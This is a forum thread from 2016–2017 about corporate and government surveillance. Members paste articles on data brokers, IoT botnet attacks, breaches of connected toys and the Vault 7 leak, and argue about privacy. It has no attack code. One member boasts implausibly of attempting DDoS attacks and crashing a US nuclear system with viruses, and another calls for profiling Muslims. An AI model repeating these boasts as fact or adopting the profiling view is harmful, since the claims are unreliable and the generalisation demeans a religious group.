If you don’t know already, a cookie is a small piece of data stored on yourcomputer, tablet, or phone by a website’s server. It is used to help keep track of your movements within the site, and is usually very helpful. For instance, it can store the last page you visited, autofill forms, or provide suggestions based on your last visit. But, it can also assist the retailer behind the website, supplying them with information about your previous visits and purchases, your searches, and your overall shopping habits. This is often a benefit to you, as you may receive offers to entice you to buy something that you left in your shopping cart.

It can also be used against you. A prime example is vacation searches. The more you search, be it for a hotel or flight, the likelier it is that the prices will actually go up. The sites know you’re looking for a vacation, and when something is in demand, the price rises. By browsing anonymously, or using a VPN (virtual private network), you can stop that. Websites can also sell this cookie information to a third party, and it is common these days for sites to refuse entry if you turn off cookies. They want to know everything about you. You can also routinely clear you cookies, which may cause a few pages to load more slowly.



6. Purchasing Data
Quite often, you will see language like, “We do not sell or share your information with third parties” on websites, forms, and other methods of collecting your personal information. That’s because it has become common practice for many retailers to store, collate, and sell the information of millions of customers for a profit. In the age of online retailing and phone shopping, big data is huge. The more retailers can know about you, the more targeted their campaigns can be. If a company wants to specifically focus on white males, ages 31–40, who smoke, drink, and subscribe to a sports package, they can buy that list. It can be expensive, initially, for retailers to buy this data, but it can really pay off because their message is laser-focused on the audience they want to reach.

All of these methods mentioned above — including phone numbers, loyalty information, and website patterns — can be collected and sold. When they are in control of it, they can build on the data, creating a picture of you as a consumer that is so detailed, you may be shocked by its accuracy, and invasion of privacy.



7. CCTV Equipment
Smile, you’re on camera. We are in the age of eyes in the sky, and big brother on every street corner. Cameras are also a major part of every store’s infrastructure, and if you think they are only there to monitor shoplifters, think again.

As The Guardian reported earlier this year, facial recognition software can determine who is entering the store, and how they are reacting to certain displays and promotions. If you’re a guy with a beard, and there is an endcap devoted to grooming products, the retailer wants to know if you’re reacting to it. As this technology develops, it will not be unusual to see specific ads targeted to certain consumers as they walk through the store. Expect to see ads for maternity products being displayed on LCD screens as a pregnant lady walks past, which change to ads for toys as a family with small children pass by the same area. This is not decades away; this technology is already being perfected. If it sounds like something from Minority Report, it’s not far off.



8. Social Media
You probably have at least a Facebook account, and possibly Twitter, Instagram, Pinterest, SnapChat, and FourSquare. While these are all great ways to share information and keep in touch with friends, they are also a boon for retailers, who also have a massive presence on these platforms. Brands and retailers can push offers and information at you 24/7, and sophisticated software can help them interact with you. They know if you “like” certain products or advertisements. They provide links to let you instantly purchase products and services that have been sent to you. They give out rewards for sharing offers and coupons. And the more you do it, the more they learn about you and your habits.

Some people have started multiple social media_ accounts — one for personal use, and one that does not share as much private information — for this very reason. You are being watched constantly on social media_, and you are being targeted with specific offers based on data that has been collected.

Be careful out there.
Title: Re: they know what you are doing
Post by: space otter on October 27, 2016, 07:51:36 am

yeah put everything you own on  line and let someone play with it..
i'm especially scared of the home security that you can check on line..you and who else..geeeeeze..some progress



How the Internet of Things Took Down the Internet

In a worrying trend, our smart devices are being commandeered to launch massive cyber-assaults.

by Jamie Condliffe  October 24, 2016

When the Internet apocalypse comes, your smart thermostat may be to blame. That’s the lesson from last week’s epic Internet outage, in which attackers used Internet-connected devices inside people's homes to bring a large chunk of the Web to its knees.

The outage, which mainly affected the East Coast of the U.S., struck on Friday morning but was felt into the weekend. It was caused by a large distributed denial of service (DDoS) attack, leveled at the servers of the domain name system host Dyn, which overwhelmed servers with data requests and made it impossible for users to fetch the files of Web pages.

But according to staff at Dyn who spoke with the New York Times, the takedown was facilitated by hundreds of thousands of Internet-connected devices—from Web cameras to routers—that had been hacked to contribute to the attack. When mobilized together, these pieces of innocent hardware can be used to send Web page requests to servers at such a rate that genuine requests are completely ignored. Sometimes, servers even fail altogether.

 
Friday’s attack comes less than a month after the website of security expert Brian Krebs and servers of the French Web hosting provider OVH were taken offline by DDoS attacks. Those were also orchestrated using as many as one million Internet-connected devices, such as digital video recorders or printers.

Hackers have been installing malware on PCs for years in an attempt to control them to take down Web servers. But as we install ever more Internet-connected devices in our homes, we increase the number of potential tools available to people looking to turn them into weapons.

Last week’s assault was more significant. Security expert Bruce Schneier argued not long before Friday’s incident that someone, somewhere “is learning how to take down the Internet” using these kinds of attacks. He reckons that hackers are slowly evaluating servers around the globe to identify their weak spots and the best ways to bring them down.

Who’s behind the attacks remains unclear, though it could be a nation-state, such as China or Russia—because there’s little motivation for most criminals to bother. But what does seem certain is that it will happen again.

(Read more: New York Times, “Massive Internet Outage Could Be a Sign of Things to Come,” “The Internet of Things Goes Rogue”)


 
 https://www.technologyreview.com/s/602713/how-the-internet-of-things-took-down-the-internet/
 
Title: Re: they know what you are doing
Post by: zorgon on October 27, 2016, 10:19:03 am

as i read this i thought..everyone  know this..right?..well just in case you might have missed a point or two..i'm posting it

yes everyone knows it :P

BUT  "we the peeps..." have short term memories  ::)

Take FB for example... Ed Snowden posts all the documents on PRISM, the NSA spy stuff on internet people showing all the social media sites that are part of it.

For a few weeks everyone is outraged and makes noise, gets paranoid, then forgets the whole thing and start posting personal stuff again

Facebook founder called trusting users dumb f*cks

Quote
Loveable Facebook founder Mark Zuckerberg called his first few thousand users "dumb frigs" for trusting him with their data, published IM transcripts show. Facebook hasn't disputed the authenticity of the transcript.

Zuckerberg was chatting with an unnamed friend, apparently in early 2004. Business Insider, which has a series of quite juicy anecdotes about Facebook's early days, takes the credit for this one.

The exchange apparently ran like this:

Zuck: Yeah so if you ever need info about anyone at Harvard

Zuck: Just ask.

Zuck: I have over 4,000 emails, pictures, addresses, SNS

[Redacted Friend's Name]: What? How'd you manage that one?

Zuck: People just submitted it.

Zuck: I don't know why.

Zuck: They "trust me"

Zuck: Dumb fvcks

The founder was then 19, and he may have been joking. But humour tells you a lot. Some might say that this exchange shows Zuckerberg was not particularly aware of the trust issue in all its depth and complexity.

 
Facebook is currently in the spotlight for its relentlessly increasing exposure of data its users assumed was private. This is nicely illustrated in the interactive graphic you can find here or by clicking the piccie to the right.

http://mattmckeon.com/facebook-privacy/

In turn, its fall from grace has made backers of the 'social media' bubble quite nervous. Many new white collar nonjobs created since the mid-Noughties depend on the commercial value of your output, and persona;l information. (Both are invariably donated for free).

But there's a problem.

Much of the data created by Web2.0rrhea is turning out to be quite useless for advertisers - or anyone else. Marketeers are having a harder time justifying the expenditure in sifting through the Web 2.0 septic tank for the odd useful nugget of information.

Facebook's data stash is regarded as something quite special. It's authenticated against a real person, and the users tend to be over 35 and middle class - the ideal demographic for selling high value goods and services. In addition, users have so far been 'sticky' to Facebook, something quite exceptional since social networks fall out of fashion (Friends Reunited, Friendster) as quickly as they attract users.

Facebook also has something else going for it - ordinary users regard it as the natural upgrade to Hotmail. In fact, once the crap has been peeled away, there may not be much more to Facebook than the Yahoo! or Hotmail Address Book with knobs on: the contact book is nicely integrated, uploading photos to share easier, while everything else is gravy. Unlike tech-savvy users, many people remain loyal to these for years.

http://www.theregister.co.uk/2010/05/14/facebook_trust_dumb/

I AGREE with mark :P
Title: Re: they know what you are doing
Post by: zorgon on October 27, 2016, 10:34:56 am

6. Purchasing Data
Quite often, you will see language like, “We do not sell or share your information with third parties” on websites, forms, and other methods of collecting your personal information. That’s because it has become common practice for many retailers to store, collate, and sell the information of millions of customers for a profit. In the age of online retailing and phone shopping, big data is huge. The more retailers can know about you, the more targeted their campaigns can be. If a company wants to specifically focus on white males, ages 31–40, who smoke, drink, and subscribe to a sports package, they can buy that list. It can be expensive, initially, for retailers to buy this data, but it can really pay off because their message is laser-focused on the audience they want to reach.

A couple points on this..

1) I find it really hilarious when I view my own items for sale on Ebay, Amazon etc to check my listings, then for weeks those items will pop up on ads asking me if i am still interested in buying it :P

2) Advertizing works by EXPOSURE... keep seeing it enough times and you become literally brainwashed to buy it. The sad thing is it works on 90% of people.  The only way to stop it is to learn NOT to focus on it.  The ads will always be there, just tune them out. A little self control is needed but most people don't have it

3) “We do not sell or share your information with third parties”

The caveat here is WHO is collecting the data and what constitutes a third party. Most of them now have a partnership agreement with the other data collectors so effectively ALL of them in their network are second party.

One thing I do find amusing is how people worry about the government spying on you and getting info like driver's license, social security number, etc etc...

The amusing part is that it is the government that issues you those documents so they already have that all on file and in today's computer world all those departments are linked. Foe example... you change car insurance companies. The agent makes an error and you have one day with no coverage.  A week later State of Nevada sends you a $250.00 fine for not having insurance.

Birth records, property you own info, cars you purchased, driver's record ...etc  ALL that is already public record. And for a $35.00 a month fee ANYONE can get Private Investigator access to all that data. 

The geneology sites like Ancestry.com are asking for your DNA so they can better check your origins :P And people are sending it in willingly Ads on TV all the time about that  "I Thought I was german but DNA saya I am 51% Scottish"  :P

But dang  now your DNA is on file :P

 ::)

Clark County website Assessors office... holds everyone in Las Vegas's property record. It is FREE to view for ANYONE. The search is as simple as first and last name that will bring up any property you own, and how much you paid and what your tax statis is..

Privacy? Forget about it :P Hasn't existed for a LONG time

Title: Re: they know what you are doing
Post by: ArMaP on November 02, 2016, 06:23:09 pm
They may know what you're doing but maybe they don't know who you are. :)

Quote
Bizarre 'face stealing' specs can fool them into thinking you are someone else (and can even turn a man into Milla Jovovich)

Facial recognition systems might be sharp enough to pick you out of a crowd, but they’re still no match for the classic disguise – a pair of glasses.
Researchers have developed glasses that allow the wearer to dodge facial recognition or even impersonate another person by disrupting the system’s ability to accurately read pixel colouration.
The colourful frames cost just $0.22 to print, and highlight new ways attackers might be able to evade machine learning technology.
In the study, the method has even allowed a man to impersonate actress Milla Jovovich and a South-Asian female to impersonate a Middle-Eastern man, both with near 90 percent accuracy.

 http://www.dailymail.co.uk/sciencetech/article-3898508/Spot-difference-facial-recognition-systems-t-bizarre-face-stealing-specs-fool-AIs-thinking-else.html#ixzz4Ou8qd0ST
Title: Re: they know what you are doing
Post by: Ellirium113 on December 07, 2016, 04:50:21 pm
[youtube]http://www.youtube.com/watch?v=lAOj0H5c6Yc[/youtube]

These Toys Don’t Just Listen To Your Kid; They Send What They Hear To A Defense Contractor
https://consumerist.com/2016/12/06/these-toys-dont-just-listen-to-your-kid-they-send-what-they-hear-to-a-defense-contractor/ (https://consumerist.com/2016/12/06/these-toys-dont-just-listen-to-your-kid-they-send-what-they-hear-to-a-defense-contractor/)

I am eagerly waiting to buy the one that will call up an orbital strike from space command because it heard the Klingons are at war with us while I am watching Star Trek. :P
Title: Re: they know what you are doing
Post by: dreb13 on December 08, 2016, 08:44:21 am

Clark County website Assessors office... holds everyone in Las Vegas's property record. It is FREE to view for ANYONE. The search is as simple as first and last name that will bring up any property you own, and how much you paid and what your tax statis is..


Question, did you end up getting that Yellow SUV with the trailer hooked up to it that is parked out front via the GoFundMe page that you had awhile back?  If so, congrats!

The local Real Estate and County Assessment page for my area used to have the same "search by name" function until a couple of judges realized that people (criminals) were able to find them and harass them.  The search by name function went away but you can still find people but it takes a lot more clicks.  I'm surprised that other cites haven't done the same thing or that the people haven't bitched about it yet....then again, what do you expect from "dumb f*cks."

Title: Re: they know what you are doing
Post by: space otter on March 04, 2017, 10:09:27 pm

yeah what Ellirium said


http://www.msn.com/en-us/lifestyle/family-relationships/if-your-child-has-this-doll-you-should-get-rid-of-it-now/ar-AAn3JzC?li=BBnb7Kz

If Your Child Has This Doll, You Should Get Rid of It Now
 Mom.me Mom.me
Carla Wiking
2/17/2017

(http://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAn3VY3.img?h=491&w=874&m=6&q=60&o=f&l=f&x=392&y=160)
© Provided by Mom.me


There's a toy in your daughter's bed that is taking in your nighttime stories, transmitting her every giggle, listening to her every breath.

And possibly talking back to her.

And parents are being asked to find it, replace it and completely destroy it. It' the My Friend Cayla doll.

Tech news sites like PC Mag and even the BBC are reporting that, in Germany, the My Friend Cayla dolls are basically illegal. And that they put any child at risk for have his or her privacy invaded, since hackers can use an unsecure bluetooth device that is embedded in the toy "to listen and talk to the child playing with it."

So not only can hackers eavesdrop on your child, but they can speak to them through the doll.

The risk of Smart Toy hackings has been an issue since January of 2015, and experts warn that the software has not been fixed.

The Vivid Toy group, which distributes the doll, claims that their product is safe. And yet the company and the Toy Retailers Association state clearly that keeping a child safe while playing with the doll is up to parents. The TRA told BBC, "we would always expect parents to supervise their children at least intermittently."

That's kind of the opposite purpose of child play but nevermind.

The My Friend Cayla dolls isn't the first or only internet enabled doll on the market, and Germans aren't the only ones to push back against open access to kids' conversations.

'Two years ago, Mattel introduced Hello Barbie, which was roundly deemed totally freaking creepy.

While Hello Barbie is still on the market, it was not the success Mattel was hoping for. In fact, Hello Barbie couldn't catch a break when she was named Worst Toy of 2015 by the Campaign for a Commercial-Free Childhood.

Parents and watchdog groups are right to be concerned about these internet-enabled toys. Not only do they have real privacy risks, they also stymie creativity. A doll that can talk back leaves little room for imagination.

This latest warning about the My Friend Cayla doll points to a larger issue modern parents face in an increasingly connected world that compromises privacy—in many homes by choice. Devices like Amazon's Echo and Google Home were huge hits the past Christmas season. While these devices aren't marketed to children, they are still listening to them—and you.

People love being able to play music, set timers and get news updates, but those conveniences come at a price—nearby family's privacy. Just like My Friend Cayla, Alexa—the "personal assistant" talking to me from my Amazon Echo—is always listening.

Smart devices aren't going away, but privacy protections are slow to catch up. Until then, privacy advocates recommend you go ahead and keep them out of the toy box.



............................

f You Have One Of These Toys In Your House, You May Want To Stop Using It
More than 800,000 users are affected.
By Ryan Grenoble
960
32
Sloppy data security practices at a toy company that sells a line of internet-connected stuffed animals has exposed the personal information of more than 800,000 customers, and some 2 million voice recordings ? many of them from children.

The toy animals, manufactured by CloudPets, have the ability to store and replay voice messages sent to them via the internet. Ideally, that means traveling parents ? for instance, a deployed military member ? could send a heartfelt message to their child’s teddy bear at home, to be replayed when their child interacts with the bear:

http://www.youtube.com/watch?v=EDzO2lWYSY4

But since at least Christmas Day of last year, information on the CloudPets server ? including customers’ login and password information and voice recordings ? was stored in an exposed database easily accessible to anyone on the internet who knew where to look.

Online security expert Troy Hunt is one of the first to have noticed the issue. He and several others attempted to alert CloudPets to the security oversight numerous times, yet never heard back.

CloudPets also did not respond to a request for comment from The Huffington Post.

With a little sleuthing, and some help from CloudPets users willing to serve as guinea pigs, Hunt tracked down some surprisingly personal information on the CloudPets servers. Kids’ names, birthdays (minus the year) and their relationship with authorized users (i.e., parents, grandparents, friends, etc.) were all accessible.

So, too, were audio clips on the toys themselves. Hunt, who only accessed the information after obtaining permission from CloudPets users, describes on his website:

One little girl who sounded about the same age as my own 4-year-old daughter left a message to her parents: Hello mommy and daddy, I love you so much.

Another one has her singing a short song, others have precisely the sorts of messages you’d expect a young child to share with her parents. I didn’t download either pictures or recordings from other parties, only those I was specifically granted access to by HIBP subscribers, but the risk was clear.
It’s also entirely possible a hacker could use that information to push messages to the toys themselves.

The below video below ? which a Twitter user who goes by MisterZoomer told The Huffington Post his wife filmed as a lighthearted prank ? is a terrifying example of what’s actually possible with the technology:


Handsome Neil @MisterZoomer
Hey @CloudPets someone named S. Atan keeps sending messages to my kids' cloud pets and the app won't let me block him. Please help.
10:29 AM - 29 Jan 2017


“Parents need to work on the assumption that if they have a CloudPet, multiple unauthorized parties could have accessed their voice recordings,” Hunt told The Huffington Post in an email. “Because the service is still online today and account details were also leaked, those recordings could still potentially be accessed today.”

Those recordings don’t necessarily present a security threat in and of themselves, Hunt said, but parents should certainly be aware of what’s out there. And CloudPet users should be sure to change their passwords, especially if they’ve reused them for other internet accounts.

“Many of the same problems are present we have in other data breaches: email addresses could be used for spam or phishing, and reused passwords could be used to exploit other accounts,” added Hunt. “There’s little practical value for children’s voice recordings, but of course as parents we’d feel very uneasy knowing that other people could have them.”

The main takeaway? Think twice before you welcome any internet-connected device into your home, particularly ones that children may interact with on a regular basis.

“The bigger picture here is to think very carefully before giving a child a connected device like this,” Hunt concluded. “By all means, get them involved early with computers and responsible internet use, but in my view connected toys like this pose too great a risk.”

Hackers haven’t just accessed the data, according to Hunt. He says there’s clear evidence cybercriminals have held the database for ransom, at least twice, demanding money from the company in exchange for the data’s safe return.

The database was no longer publicly accessible as of Jan. 13, Hunt said, but anyone who obtained the data while it was live could still use it for nefarious purposes, including accessing a victim’s account.

“This service ? and the files ? really need to be taken offline ASAP until everything can be properly secured,” Hunt said.



Title: Re: they know what you are doing
Post by: Shasta56 on March 05, 2017, 04:18:23 pm
I have one comment about DNA.  If you have ever had blood drawn for anything,  your DNA is on file somewhere.

Shasta
Title: Re: they know what you are doing
Post by: space otter on March 08, 2017, 11:38:17 am
dolls, tv's, security systems..  the cave is looking better all the time
campfire started  s'mores anyone?




  03/07/2017 05:38 pm ET  .By Ryan Grenoble
WikiLeaks Dumps Documents It Claims Detail The CIA’s Arsenal Of Hacking Tools

Don’t panic. Unless you’re a high-value CIA target


WikiLeaks on Tuesday released a trove of 8,700 documents, which it claims originated at the CIA’s Center for Cyber Intelligence, that describe, in detail, the agency’s hacking abilities and techniques.

Among the more interesting revelations of the so-called “Vault 7” documents, assuming they’re legitimate, is the sheer breadth of devices government hackers could possibly compromise.

That includes just about everything powered by Microsoft Windows, Android and iOS, such as smartphones, computers and even Samsung smart TVs, which it allegedly figured out how to turn into hidden recording devices under an effort code-named “weeping angel.”



http://www.huffingtonpost.com/entry/wikileaks-kaomoji-reported-cia-documents_us_58bf91abe4b0ed718268221b?section=us_politics


  03/08/2017 01:28 am ET   By Nick Visser

In New CIA WikiLeaks Trove, ¯\_(???)_/¯, (?_?) And ? ????
The spy agency appears to be up on its kaomoji game.


WikiLeaks released what may be the largest drop of CIA documents in history on Tuesday, 8,700 pages that appear to describe the spy agency’s far-reaching strategies for hacking and electronic surveillance.

Alongside the unauthenticated documents touting tools that include redacted instructions to spy on Skype, hack into Wi-Fi networks and steal passwords using autocomplete functions, the dump included an interesting nugget of intel: The CIA is well-versed in memes and text-based emojis, also known as kaomoji.
A document simply titled “Japanese style faces” released by WikiLeaks contains more than 100 expressions, including gems like:
?( ???)? ? happy dog

? ???? ? baby seal

????)????? ? angry guy flipping a table
As Mashable notes, Tuesday’s leak (the first in what’s expected to be a series involving CIA documents) doesn’t include a reason why the spy agency might have kept such an archive. Many of the memes are old in internet-land and reference cybersecurity.
Other titleless classics from the kaomoji canon include:
¯\_(???)_/¯
ó?ó
?_?
??????? < “Dear god why? )
?(??????)?
?_??
????
?_? <So... Beautiful!
?(????) y u no guy
?(???)?
???
???(?_?)???
? ? ?
?(???)?
?_?
?_?
?.?
???????
????
???
??[-_-]??
????
???
Despite the relatively hilarious tone of the kaomoji leak, the other documents could represent a serious security breach for the CIA. The Washington Post notes WikiLeaks compared the breadth of the leak to the breach at the National Security Agency in 2013.
WikiLeaks didn’t say where it obtained the documents, aside from a statement that claimed they were “circulated among former U.S. government hackers and contractors in an unauthorized manner, one of whom has provided WikiLeaks with portions of the archive.”
You can take a look at the entire kaomoji archive over on WikiLeaks.

https://wikileaks.org/ciav7p1/cms/page_17760284.html

Vault 7: CIA Hacking Tools Revealed

...................................................................

http://www.huffingtonpost.com/entry/us-intel-agencies-knew-last-year-about-cia-security-breach-that-led-to-wikileaks-dump_us_58c04750e4b0d1078ca35050?1mdjr7q51kclkgldi&

  03/08/2017 01:06 pm ET
U.S. Intel Officials Knew Last Year About CIA Security Breach That Led To Wikileaks Dump
Officials said they were focusing on contractors as the likeliest source of the leak.
WASHINGTON, March 8 (Reuters) - U.S. intelligence and law enforcement officials told Reuters on Wednesday they have been aware of a CIA security breach, which led to the latest Wikileaks dump since late last year.
The two officials said they were focusing on contractors as the likeliest source of the leak.
This is a developing story.
Title: Re: they know what you are doing
Post by: space otter on March 08, 2017, 09:14:55 pm
http://www.msn.com/en-us/news/us/cia-scrambles-to-contain-damage-from-wikileaks-documents/ar-AAo2xyI?li=BBnb7Kz

C.I.A. Scrambles to Contain Damage From WikiLeaks Documents
 The New York Times The New York Times
By MATTHEW ROSENBERG, SCOTT SHANE and ADAM GOLDMAN
1 hr ago

WASHINGTON — The C.I.A. scrambled on Wednesday to assess and contain the damage from the release by WikiLeaks of thousands of documents that cataloged the agency’s cyberspying capabilities, temporarily halting work on some projects while the F.B.I. turned to finding who was responsible for the leak.

Investigators say that the leak was the work not of a hostile foreign power like Russia but of a disaffected insider, as WikiLeaks suggested when it released the documents Tuesday. The F.B.I. was preparing to interview anyone who had access to the information, a group likely to include at least a few hundred people, and possibly more than a thousand.

An intelligence official said the information, much of which appeared to be technical documents, may have come from a server outside the C.I.A. managed by a contractor. But neither he nor a former senior intelligence official ruled out the possibility that the leaker was a C.I.A. employee.

Sign Up For the Morning Briefing Newsletter

The officials spoke on the condition of anonymity to discuss an ongoing investigation into classified information. The C.I.A. has refused to explicitly confirm the authenticity of the documents, but it all but said they were genuine Wednesday when it took the unusual step of putting out a statement to defend its work and chastise WikiLeaks.

The disclosures “equip our adversaries with tools and information to do us harm,” said Ryan Trapani, a spokesman for the C.I.A. He added that the C.I.A. is legally prohibited from spying on individuals in the United States and “does not do so.”

The leak was perhaps most awkward for the White House, which found itself criticizing WikiLeaks less than six months after the group published embarrassing emails from John D. Podesta, the campaign chairman for Hillary Clinton, prompting President Trump to declare at the time, “I love WikiLeaks.”

Sean Spicer, the White House spokesman, said the release of documents “should be something that everybody is outraged about in this country.”

There was, he added, a “massive, massive difference” between the leak of classified C.I.A. cyberspying tools and personal emails of political figures.

The documents, taken at face value, suggest that American spies had designed hacking tools that could breach almost anything connected to the internet — smartphones, computers, televisions — and had even found a way to compromise Apple and Android devices. But whether the C.I.A. had successfully built and employed them to conduct espionage remained unclear on Wednesday.

A number of cybersecurity experts and hackers expressed skepticism at the level of technical wizardry that WikiLeaks claimed to uncover, and pointed out that much of what was described in the documents was aimed at older devices that have known security flaws. One document, for instance, discussed ways to quickly copy 3.5-inch floppy disks, a storage device so out of date that few people younger than 35 have probably used one.

One indication that the documents did not contain information on the most highly sensitive C.I.A. cyberespionage programs was that none of them appeared to be classified above the level of “secret/noforn,” which is a relatively low-level of classification.

Some technical experts pointed out that while the documents suggest that the C.I.A. might be able to compromise individual smartphones, there was no evidence that the agency could break the encryption that many phone and messaging apps use.

If the C.I.A. or the National Security Agency could routinely break the encryption used on such apps as Signal, Confide, Telegram and WhatsApp, then the government might be able to intercept such communications on a large scale and search for names or keywords of interest. But nothing in the leaked C.I.A. documents suggests that is possible.

Instead, the documents indicate that because of encryption, the agency must target an individual phone and then can intercept only the calls and messages that pass through that phone. Instead of casting a net for a big catch, in other words, C.I.A. spies essentially cast a single fishing line at a specific target, and do not try to troll an entire population.

“The difference between wholesale surveillance and targeted surveillance is huge,” said Dan Guido, a director at Hack/Secure, a cybersecurity investment firm. “Instead of sifting through a sea of information, they’re forced to look at devices one at a time.”

Mr. Guido also said the C.I.A. documents did not suggest that the agency was far ahead of academic or commercial security experts. “They’re using standard tools, reading the same tech sites and blogs that I read,” he said.

Some of the vulnerabilities described by the C.I.A. have already been remedied, he said: “The holes have been plugged.”

But Joel Brenner, formerly the country’s top counterintelligence official, said he believed the leak was “a big deal” because it would assist other countries that were trying to catch up to the United States, Russia, China and Israel in electronic spying.

He added that the intelligence agencies would have to again assess the advisability of sharing secrets widely inside their walls. “If something is shared with hundreds or thousands of people, there’s a sense in which it’s already no longer a secret,” he said.

The WikiLeaks release included 7,818 web pages with 943 attachments. Many were partly redacted by the group, which said it wanted to to avoid disclosing the code for the tools.

But without the code, it was hard to assess just what WikiLeaks had obtained — and what it was sitting on. The documents indicated that the C.I.A. sought to break into Apple, Android and Windows devices — that is, the vast majority of the world’s smartphones, tablets and computers.

While the scale and nature of the C.I.A. documents appeared to catch government officials by surprise, there had been some signs a document dump was imminent. On Twitter, the organization had flagged for weeks that something big, under the WikiLeaks label “Vault 7,” was coming soon.

On Feb. 16, WikiLeaks released what appeared to be a C.I.A. document laying out intelligence questions about the coming French elections that agency analysts wanted answers to, either from human spies or eavesdropping. When WikiLeaks released the cyberspying documents on Tuesday, it described the earlier document as “an introductory disclosure.”
Title: Re: they know what you are doing
Post by: Irene on March 09, 2017, 06:38:55 am
Sometimes I think we need a planet-wide EMP to level the damn playing field.
Title: Re: they know what you are doing
Post by: robomont on March 09, 2017, 06:56:18 am
Sometimes I think we need a planet-wide EMP to level the damn playing field.
lol,one of us,one of us,resistence is futile!
Irene,mr robot the movie series was created on here,during this discussion issue you bring up now.
Ame' wanted us not to work and pwm and me were talking about zeroing all the computers in the world with a kill switch.
That turned into obamas internet killswitch idea and the nuke code hack.a month later.back in 2014ish.

you are officially a peggy cter.now for z to give you your badge!,roflmao!
Title: Re: they know what you are doing
Post by: Irene on March 09, 2017, 07:19:18 am
lol,one of us,one of us,resistence is futile!
Irene,mr robot the movie series was created on here,during this discussion issue you bring up now.
Ame' wanted us not to work and pwm and me were talking about zeroing all the computers in the world with a kill switch.
That turned into obamas internet killswitch idea and the nuke code hack.a month later.back in 2014ish.

you are officially a peggy cter.now for z to give you your badge!,roflmao!

I consider myself a patriotic American, but there are things that are very hard to defend. We are learning, since Snowden, just how dirty our own government is, especially against its own citizens.

I hate hypocrisy. We have lost our way and I doubt we'll get it back.
Title: Re: they know what you are doing
Post by: Sgt.Rocknroll on March 09, 2017, 07:48:25 am
I consider myself a patriotic American, but there are things that are very hard to defend. We are learning, since Snowden, just how dirty our own government is, especially against its own citizens.

I hate hypocrisy. We have lost our way and I doubt we'll get it back.

I find it hard to believe that people actually think that the US Government doesn't spy on it's own people.
Because we tout our 'open society' and 'personal freedoms and Constitution, we have a tendency to think that 'other' Americans think as we do.
Which is just not the case. There are those that would love to see the overthrow of everything as it currently is, thinking that a Utopia of do whatever you want is just around the corner.
This government is designed to keep everything as best for everyone. If that means spying on it's own people to keep the status quo, i.e. watch your tv, drive your car, go to the mall, eat out at decent restaurants, not have jihad in your neighborhood, then so be it.
Can this system be abused? Absolutely. It happens all the time.
Until we go off planet, and that might not do it, it's not going to change.
We have it good compared to most.
Title: Re: they know what you are doing
Post by: Irene on March 09, 2017, 07:53:29 am
I find it hard to believe that people actually think that the US Government doesn't spy on it's own people.
Because we tout our 'open society' and 'personal freedoms and Constitution, we have a tendency to think that 'other' Americans think as we do.
Which is just not the case. There are those that would love to see the overthrow of everything as it currently is, thinking that a Utopia of do whatever you want is just around the corner.
This government is designed to keep everything as best for everyone. If that means spying on it's own people to keep the status quo, i.e. watch your tv, drive your car, go to the mall, eat out at decent restaurants, not have jihad in your neighborhood, then so be it.
Can this system be abused? Absolutely. It happens all the time.
Until we go off planet, and that might not do it, it's not going to change.
We have it good compared to most.

The ends justify the means? NO, THEY DON'T.

If the government were keeping things "as best for everyone", we'd have national healthcare.
Title: Re: they know what you are doing
Post by: Sgt.Rocknroll on March 09, 2017, 09:45:51 am
The ends justify the means? NO, THEY DON'T.

If the government were keeping things "as best for everyone", we'd have national healthcare.

National Healthcare is a myth. Everywhere it's tried, actual 'care' is reduced, plus the cost is draconian and you lose your 'freedom' to choose.
And of course the ends DOES justify the means. It happens all the time, everywhere. The majority benefits, the minority doesn't.
Fact of life. This isn't a Hollywood movie script, it's life as we know it.
I'm not saying it couldn't be better or that change is required from time to time, BUT knowing the 'rules' of the game, makes it easier to play the game.

:)
Title: Re: they know what you are doing
Post by: robomont on March 09, 2017, 09:47:17 am
Now for your next lesson,snowman and assman are controlled opposition.
99% of what they release is stolen from us usually 3 months earlier.
Especially from me.i caught snowman at it six months ago.that was my first time.assange recent release proved it.
Those codes assange talks about cia using,they were the ones i crashed the usa nuke system with.i didnt know i had them.i thought it was a virus.i got them from tubidy.they were embedded in rock music vids.deathstars band.i had 6 of them and got over to my images and saw these weird pizza type images.they were hacker files i found out later.i thought they were virus files and deleted them.
Then the fed guy at lop ask me and i told him.
All i wanted to do was ddos them.i didnt realize i was also dumping some badass viruses on them.they self dumped i assume as im not a code writer and the guys on here know it.it was that marai virus and such,anyways our comps are now hardened against it,thank god or deathstars,lol!
Even this peggy is cia,write guys,oops,lol.shoutout to sky!
Title: Re: they know what you are doing
Post by: robomont on March 09, 2017, 10:20:11 am
Crickets and irene bugged,lol,she'll be back.just has to wrap her mind around it.
BOO!   LOL.
Title: Re: they know what you are doing
Post by: zorgon on March 09, 2017, 12:03:50 pm
Seems a lot like:

(http://img4.wikia.nocookie.net/__cb27/spyversusspy/images/5/50/Wiki-background)
Title: Re: they know what you are doing
Post by: Irene on March 09, 2017, 12:06:51 pm
National Healthcare is a myth. Everywhere it's tried, actual 'care' is reduced, plus the cost is draconian and you lose your 'freedom' to choose.

National healthcare in the Scandinavian countries is expensive, yes, but it is excellent. The same is true in Switzerland.

Quote
And of course the ends DOES justify the means. It happens all the time, everywhere. The majority benefits, the minority doesn't.

Fact of life. This isn't a Hollywood movie script, it's life as we know it.

No, it doesn't.

No, life isn't Hollywood. I an older American who remembers what real privacy is.

I will never accept that it's okay to have the CIA/NSA in bathrooms across America with our teenage daughters. I will never accept that it's grandmothers and children who should be felt up by the TSA when we should be profiling Muslims.

I will never accept that it's okay for the CIA to arbitrarily murder Americans using their new cars.

Only a rube wants security at the price we are paying. It takes a special kind of chickens*** to say, "Feel up my little kid instead of the Muslim, who's far more likely to be a terrorist, next to me."

Quote
I'm not saying it couldn't be better or that change is required from time to time, BUT knowing the 'rules' of the game, makes it easier to play the game.

This isn't a game.
Title: Re: they know what you are doing
Post by: Irene on March 09, 2017, 12:16:22 pm
Crickets and irene bugged,lol,she'll be back.just has to wrap her mind around it.
BOO!   LOL.

Some of us have responsibilities that require our presence elsewhere at times.

Some of us even have, shriek, JOBS.  :o
Title: Re: they know what you are doing
Post by: zorgon on March 09, 2017, 12:34:02 pm
Some of us even have, shriek, JOBS.  :o

'JOBS" is a nasty 4 letter word for robo puff :P
Title: Re: they know what you are doing
Post by: Sgt.Rocknroll on March 09, 2017, 12:49:59 pm
National healthcare in the Scandinavian countries is expensive, yes, but it is excellent. The same is true in Switzerland.

No, it doesn't.

No, life isn't Hollywood. I an older American who remembers what real privacy is.

